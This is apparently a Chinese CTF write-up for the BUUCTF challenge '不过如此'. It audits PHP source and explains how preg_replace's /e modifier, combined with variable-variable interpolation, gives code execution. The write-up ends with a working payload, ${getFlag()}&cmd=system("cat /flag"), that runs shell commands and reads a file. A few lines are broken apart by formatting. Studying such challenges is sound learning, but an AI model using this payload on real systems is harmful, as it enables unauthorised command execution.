buuctf-不过如此
WP
这个题利用了preg的命令执行,没怎么遇到过,记录一下。
首先代码审计:
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
这里不再多说,file_get_contents()多半就是伪协议。include()再结合next,多半也是伪协议。
提示是next.php
代码如下:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
说实话,这个代码我有点懵,一开始我以为是其他文件调用了函数,才会有echo各个参数的效果,但仔细一想没必要隐藏调用,比较的$re值根本没看到,不知道这个设计是为了什么,最后一个看似出口也没有得到调用,一时间还不知道咋回事。
关键原来在preg_replace(),我就说为啥不用preg_match()呢,replace不是双写绕过就完事了么?
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
特别说明: /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
学习链接:https://xz.aliyun.com/t/2557
要完成这个漏洞,你还需要学习:https://www.php.net/manual/zh/language.variables.variable.php
首先
r
e
和
re和
re和str就是get的键值对,由于是eval(strtolower("\\1"))
本身strtolower是需要接受一个string,而这里转义数字,表示正则表达式 \1 实际上指定的是第一个子匹配项
也就是一旦匹配到,会进入strtolower() 先执行匹配到的内容(替换“\1”的位置),然后再变成小写,这里就可以命令执行,但是替换进来的不是字符串么?($str值) 是,如果普通地传进来确实是字符串,但是如果用可变变量就不一定了。因为这里是双引号,双引号能够对其包裹地内容进行转义等等操作。
同时,这里之所以是\S*,是因为可以快速匹配
payload:
?\S*=${getFlag()}&cmd=system("cat /flag");
传入之后,首先立马匹配到目标值(${getFlag()}),然后由于转义,首先就会执行getFlag(),执行时找到cmd对应地值,直接命令执行,就结束了。